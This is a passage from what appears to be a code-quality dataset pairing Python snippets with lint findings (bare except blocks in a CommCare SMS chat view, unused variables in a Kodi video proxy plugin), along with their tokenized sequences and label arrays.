"metadata": "root.ChatMessageHistory.get",
"header": "['class', 'ChatMessageHistory', '(', 'View', ',', 'DomainViewMixin', ')', ':', '___EOS___']",
"index": 901
}
]
| [
{
"span": "except:",
"start_line": 639,
"start_column": 4,
"end_line": 639,
"end_column": 11
},
{
"span": "except:",
"start_line": 677,
"start_column": 4,
"end_line": 677,
"end_column": 11
},
{
"span": "except:",
"start_line": 809,
"start_column": 8,
"end_line": 809,
"end_column": 15
},
{
"span": "except:",
"start_line": 909,
"start_column": 12,
"end_line": 909,
"end_column": 19
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"contact",
"\\u",
"info_",
"(_",
"domain_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"the",
" ",
"data",
" ",
"has",
" ",
"bee",
"n",
" ",
"cache",
"d",
",",
" ",
"just",
" ",
"retrieve",
" ",
"it",
" ",
"from",
" ",
"there",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cache",
"\\u",
"key_",
"=_",
"'",
"sms",
"-",
"chat",
"-",
"contact",
"-",
"list",
"-%",
"s",
"'_",
"%_",
"domain_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cache",
"\\u",
"expiration_",
"=_",
"30_",
"*_",
"60_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"=_",
"cache",
"\\u",
"core_",
"._",
"get",
"\\u",
"redis",
"\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cache",
"d\\u",
"data_",
"=_",
"client_",
"._",
"get_",
"(_",
"cache",
"\\u",
"key_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"cache",
"d\\u",
"data_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"json_",
"._",
"loads_",
"(_",
"cache",
"d\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"verifie",
"d\\u",
"number",
"\\u",
"ids_",
"=_",
"Verifie",
"d",
"Number_",
"._",
"by",
"\\u",
"domain_",
"(_",
"domain_",
",_",
"ids",
"\\u",
"only_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"domain",
"\\u",
"obj_",
"=_",
"Domain_",
"._",
"get",
"\\u",
"by",
"\\u",
"name_",
"(_",
"domain_",
",_",
"strict_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"case",
"\\u",
"ids_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mobile",
"\\u",
"worker",
"\\u",
"ids_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"doc_",
"in_",
"iter",
"\\u",
"docs_",
"(_",
"Verifie",
"d",
"Number_",
"._",
"get",
"\\u",
"db_",
"(_",
")_",
",_",
"verifie",
"d\\u",
"number",
"\\u",
"ids_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"owner",
"\\u",
"id_",
"=_",
"doc_",
"[_",
"'",
"owner",
"\\u",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"doc_",
"[_",
"'",
"owner",
"\\u",
"doc",
"\\u",
"type",
"'_",
"]_",
"==_",
"'",
"Comm",
"Care",
"Case",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"case",
"\\u",
"ids_",
"._",
"append_",
"(_",
"owner",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"._",
"append_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"None_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"case",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"doc_",
"[_",
"'",
"phone",
"\\u",
"number",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"owner",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"doc_",
"[_",
"'\\u",
"id",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"doc_",
"[_",
"'",
"owner",
"\\u",
"doc",
"\\u",
"type",
"'_",
"]_",
"==_",
"'",
"Comm",
"Care",
"User",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"mobile",
"\\u",
"worker",
"\\u",
"ids_",
"._",
"append_",
"(_",
"owner",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"._",
"append_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"None_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"mobile",
"\\u",
"worker",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"doc_",
"[_",
"'",
"phone",
"\\u",
"number",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"owner",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"doc_",
"[_",
"'\\u",
"id",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"contact",
"\\u",
"data_",
"=_",
"get",
"\\u",
"case",
"\\u",
"contact",
"\\u",
"info_",
"(_",
"domain",
"\\u",
"obj_",
",_",
"case",
"\\u",
"ids_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"contact",
"\\u",
"data_",
"._",
"update_",
"(_",
"get",
"\\u",
"mobile",
"\\u",
"worker",
"\\u",
"contact",
"\\u",
"info_",
"(_",
"domain",
"\\u",
"obj_",
",_",
"mobile",
"\\u",
"worker",
"\\u",
"ids_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"row_",
"in_",
"data_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"contact",
"\\u",
"info_",
"=_",
"contact",
"\\u",
"data_",
"._",
"get_",
"(_",
"row_",
"[_",
"3_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"row_",
"[_",
"0_",
"]_",
"=_",
"contact",
"\\u",
"info_",
"[_",
"0_",
"]_",
"if_",
"contact",
"\\u",
"info_",
"else_",
"\\u_",
"(_",
"'(",
"unknown",
")'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Save",
" ",
"the",
" ",
"data",
" ",
"to",
" ",
"the",
" ",
"cache",
" ",
"for",
" ",
"faste",
"r",
" ",
"look",
"up",
" ",
"next",
" ",
"time_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"._",
"set_",
"(_",
"cache",
"\\u",
"key_",
",_",
"json_",
"._",
"dumps_",
"(_",
"data_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"expire_",
"(_",
"cache",
"\\u",
"key_",
",_",
"cache",
"\\u",
"expiration_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Cha",
"t",
"Messag",
"e",
"History_",
"(_",
"View_",
",_",
"Doma",
"in",
"View",
"Mixin_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"quick",
"cache_",
"(_",
"[_",
"'",
"user",
"\\u",
"id",
"'_",
"]_",
",_",
"timeout_",
"=_",
"60_",
"*_",
"60_",
",_",
"memo",
"ize",
"\\u",
"timeout_",
"=_",
"5_",
"*_",
"60_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"get",
"\\u",
"chat",
"\\u",
"user",
"\\u",
"name_",
"(_",
"self_",
",_",
"user",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"user",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u_",
"(_",
"\"",
"System",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
"=_",
"Cou",
"ch",
"User_",
"._",
"get",
"\\u",
"by",
"\\u",
"user",
"\\u",
"id_",
"(_",
"user",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"user_",
"._",
"first",
"\\u",
"name_",
"or_",
"user_",
"._",
"raw",
"\\u",
"username_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u_",
"(_",
"\"",
"Un",
"know",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Cha",
"t",
"Messag",
"e",
"History_",
"(_",
"View_",
",_",
"Doma",
"in",
"View",
"Mixin_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get_",
"(_",
"self_",
",_",
"request_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"self_",
"._",
"contact_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Http",
"Response_",
"(_",
"'[]'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"data_",
",_",
"last",
"\\u",
"sms_",
"=_",
"self_",
"._",
"get",
"\\u",
"response",
"\\u",
"data_",
"(_",
"request_",
"._",
"couch",
"\\u",
"user_",
"._",
"get",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"last",
"\\u",
"sms_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"update",
"\\u",
"last",
"\\u",
"read",
"\\u",
"message_",
"(_",
"request_",
"._",
"couch",
"\\u",
"user_",
"._",
"get",
"\\u",
"id_",
",_",
"last",
"\\u",
"sms_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"notif",
"y",
"\\u",
"exception_",
"(_",
"request_",
",_",
"\"",
"Error",
" ",
"updat",
"ing",
" ",
"last",
" ",
"read",
" ",
"message",
" ",
"for",
" ",
"%",
"s",
"\"_",
"%_",
"last",
"\\u",
"sms_",
"._",
"pk_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"Http",
"Response_",
"(_",
"json_",
"._",
"dumps_",
"(_",
"data_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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
]
|
Unused local variable | mrknow/filmkodi/plugin.video.specto/resources/lib/libraries/f4mproxy/F4mProxy.py | [
{
"content": " def do_HEAD(self):\n print \"XBMCLocalProxy: Serving HEAD request...\"\n self.send_response(200)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n #self.send_header(\"Accept-Ranges\",\"bytes\")\n self.end_headers() \n #s.answer_request(False)",
"metadata": "root.MyHandler.do_HEAD",
"header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']",
"index": 55
},
{
"content": " def playF4mLink(self,url,name,proxy=None,use_proxy_for_chunks=False, maxbitrate=0, simpleDownloader=False, auth=None, streamtype='HDS',setResolved=False):\n print \"URL: \" + url\n stopPlaying=threading.Event()\n progress = xbmcgui.DialogProgress()\n\n \n f4m_proxy=f4mProxy()\n stopPlaying.clear()\n runningthread=thread.start_new_thread(f4m_proxy.start,(stopPlaying,))\n progress.create('Starting local proxy')\n stream_delay = 1\n progress.update( 20, \"\", 'Loading local proxy', \"\" )\n xbmc.sleep(stream_delay*1000)\n progress.update( 100, \"\", 'Loading local proxy', \"\" )\n url_to_play=f4m_proxy.prepare_url(url,proxy,use_proxy_for_chunks,maxbitrate=maxbitrate,simpleDownloader=simpleDownloader,auth=auth, streamtype=streamtype)\n listitem = xbmcgui.ListItem(name,path=url_to_play)\n listitem.setInfo('video', {'Title': name})\n\n if setResolved:\n return url_to_play, listitem\n mplayer = MyPlayer() \n mplayer.stopPlaying = stopPlaying\n progress.close() \n mplayer.play(url_to_play,listitem)\n \n #xbmc.Player(xbmc.PLAYER_CORE_AUTO).play(url, listitem)\n firstTime=True\n while True:\n if stopPlaying.isSet():\n break;\n #if not xbmc.Player().isPlaying():\n # break\n xbmc.log('Sleeping...')\n xbmc.sleep(200)\n #if firstTime:\n # xbmc.executebuiltin('Dialog.Close(all,True)')\n # firstTime=False\n stopPlaying.isSet()\n\n print 'Job done'\n return",
"metadata": "root.f4mProxyHelper.playF4mLink",
"header": "['class', 'f4mProxyHelper', '(', ')', ':', '___EOS___']",
"index": 343
},
{
"content": " def start_proxy(self,url,name,proxy=None,use_proxy_for_chunks=False, maxbitrate=0,simpleDownloader=False,auth=None,streamtype='HDS'):\n print \"URL: \" + url\n stopPlaying=threading.Event()\n f4m_proxy=f4mProxy()\n stopPlaying.clear()\n runningthread=thread.start_new_thread(f4m_proxy.start,(stopPlaying,))\n stream_delay = 1\n xbmc.sleep(stream_delay*1000)\n url_to_play=f4m_proxy.prepare_url(url,proxy,use_proxy_for_chunks,maxbitrate=maxbitrate,simpleDownloader=simpleDownloader,auth=auth,streamtype=streamtype)\n return url_to_play, stopPlaying",
"metadata": "root.f4mProxyHelper.start_proxy",
"header": "['class', 'f4mProxyHelper', '(', ')', ':', '___EOS___']",
"index": 385
}
]
| [
{
"span": "rtype=",
"start_line": 58,
"start_column": 8,
"end_line": 58,
"end_column": 13
},
{
"span": "runningthread=",
"start_line": 351,
"start_column": 8,
"end_line": 351,
"end_column": 21
},
{
"span": "firstTime=",
"start_line": 369,
"start_column": 8,
"end_line": 369,
"end_column": 17
},
{
"span": "runningthread=",
"start_line": 390,
"start_column": 8,
"end_line": 390,
"end_column": 21
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"My",
"Handler_",
"(_",
"Base",
"HTTP",
"Request",
"Handler_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"do",
"\\u",
"HEAD_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"XB",
"MC",
"Local",
"Pro",
"xy",
":",
" ",
"Servi",
"ng",
" ",
"HEAD",
" ",
"request",
"...\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"send",
"\\u",
"response_",
"(_",
"200_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rtype_",
"=_",
"\"",
"fl",
"v",
"-",
"applica",
"tion",
"/",
"oct",
"et",
"-",
"stream",
"\"_",
"#",
"default",
" ",
"type",
" ",
"coul",
"d",
" ",
"have",
" ",
"gone",
" ",
"to",
" ",
"the",
" ",
"server",
" ",
"to",
" ",
"get",
" ",
"it",
"._",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"self",
".",
"send",
"\\u",
"header",
"(\"",
"Accept",
"-",
"Range",
"s",
"\",\"",
"bytes",
"\")",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"end",
"\\u",
"headers_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"s",
".",
"answer",
"\\u",
"request",
"(",
"Fal",
"se",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"f4",
"m",
"Pro",
"xy",
"Helper_",
"(_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"play",
"F4",
"m",
"Link_",
"(_",
"self_",
",_",
"url_",
",_",
"name_",
",_",
"proxy_",
"=_",
"None_",
",_",
"use",
"\\u",
"proxy",
"\\u",
"for",
"\\u",
"chunks_",
"=_",
"False_",
",_",
"max",
"bitrate_",
"=_",
"0_",
",_",
"simple",
"Downloader_",
"=_",
"False_",
",_",
"auth_",
"=_",
"None_",
",_",
"stream",
"type_",
"=_",
"'",
"HD",
"S",
"'_",
",_",
"set",
"Resolved",
"_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"URL",
":",
" ",
"\"_",
"+_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stop",
"Play",
"ing_",
"=_",
"threading_",
"._",
"Event_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"progress_",
"=_",
"xbmcgui_",
"._",
"Dialog",
"Progress_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"f4",
"m",
"\\u",
"proxy_",
"=_",
"f4",
"m",
"Proxy_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stop",
"Play",
"ing_",
"._",
"clear_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"runn",
"ing",
"thread_",
"=_",
"thread_",
"._",
"start",
"\\u",
"new",
"\\u",
"thread_",
"(_",
"f4",
"m",
"\\u",
"proxy_",
"._",
"start_",
",_",
"(_",
"stop",
"Play",
"ing_",
",_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"progress_",
"._",
"create_",
"(_",
"'",
"Start",
"ing",
" ",
"local",
" ",
"proxy",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stream",
"\\u",
"delay_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"progress_",
"._",
"update_",
"(_",
"20_",
",_",
"\"\"_",
",_",
"'",
"Load",
"ing",
" ",
"local",
" ",
"proxy",
"'_",
",_",
"\"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xbmc_",
"._",
"sleep_",
"(_",
"stream",
"\\u",
"delay_",
"*_",
"1000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"progress_",
"._",
"update_",
"(_",
"100_",
",_",
"\"\"_",
",_",
"'",
"Load",
"ing",
" ",
"local",
" ",
"proxy",
"'_",
",_",
"\"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url",
"\\u",
"to",
"\\u",
"play_",
"=_",
"f4",
"m",
"\\u",
"proxy_",
"._",
"prepar",
"e\\u",
"url_",
"(_",
"url_",
",_",
"proxy_",
",_",
"use",
"\\u",
"proxy",
"\\u",
"for",
"\\u",
"chunks_",
",_",
"max",
"bitrate_",
"=_",
"max",
"bitrate_",
",_",
"simple",
"Downloader_",
"=_",
"simple",
"Downloader_",
",_",
"auth_",
"=_",
"auth_",
",_",
"stream",
"type_",
"=_",
"stream",
"type_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"listitem_",
"=_",
"xbmcgui_",
"._",
"List",
"Item_",
"(_",
"name_",
",_",
"path_",
"=_",
"url",
"\\u",
"to",
"\\u",
"play_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"listitem_",
"._",
"set",
"Info_",
"(_",
"'",
"video",
"'_",
",_",
"{_",
"'",
"Tit",
"le",
"'_",
":_",
"name_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"set",
"Resolved",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"url",
"\\u",
"to",
"\\u",
"play_",
",_",
"listitem_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"mpla",
"yer_",
"=_",
"My",
"Player_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mpla",
"yer_",
"._",
"stop",
"Play",
"ing_",
"=_",
"stop",
"Play",
"ing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"progress_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mpla",
"yer_",
"._",
"play_",
"(_",
"url",
"\\u",
"to",
"\\u",
"play_",
",_",
"listitem_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"xbmc",
".",
"Player",
"(",
"xbmc",
".",
"PLAYER",
"\\u",
"CORE",
"\\u",
"AUTO",
").",
"play",
"(",
"url",
",",
" ",
"listi",
"tem",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"first",
"Time_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"stop",
"Play",
"ing_",
"._",
"is",
"Set_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"break_",
";_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"if",
" ",
"not",
" ",
"xbmc",
".",
"Player",
"()",
".",
"is",
"Play",
"ing",
"():",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"break_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"xbmc_",
"._",
"log_",
"(_",
"'",
"Sleep",
"ing",
"...'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xbmc_",
"._",
"sleep_",
"(_",
"200_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"if",
" ",
"first",
"Time",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"xbmc",
".",
"execute",
"bui",
"lti",
"n",
"('",
"Dialog",
".",
"Clos",
"e",
"(",
"all",
",",
"Tru",
"e",
")'",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"first",
"Time",
"=",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"stop",
"Play",
"ing_",
"._",
"is",
"Set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"'",
"Jo",
"b",
" ",
"don",
"e",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"f4",
"m",
"Pro",
"xy",
"Helper_",
"(_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"start",
"\\u",
"proxy_",
"(_",
"self_",
",_",
"url_",
",_",
"name_",
",_",
"proxy_",
"=_",
"None_",
",_",
"use",
"\\u",
"proxy",
"\\u",
"for",
"\\u",
"chunks_",
"=_",
"False_",
",_",
"max",
"bitrate_",
"=_",
"0_",
",_",
"simple",
"Downloader_",
"=_",
"False_",
",_",
"auth_",
"=_",
"None_",
",_",
"stream",
"type_",
"=_",
"'",
"HD",
"S",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"URL",
":",
" ",
"\"_",
"+_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stop",
"Play",
"ing_",
"=_",
"threading_",
"._",
"Event_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f4",
"m",
"\\u",
"proxy_",
"=_",
"f4",
"m",
"Proxy_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stop",
"Play",
"ing_",
"._",
"clear_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"runn",
"ing",
"thread_",
"=_",
"thread_",
"._",
"start",
"\\u",
"new",
"\\u",
"thread_",
"(_",
"f4",
"m",
"\\u",
"proxy_",
"._",
"start_",
",_",
"(_",
"stop",
"Play",
"ing_",
",_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stream",
"\\u",
"delay_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xbmc_",
"._",
"sleep_",
"(_",
"stream",
"\\u",
"delay_",
"*_",
"1000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url",
"\\u",
"to",
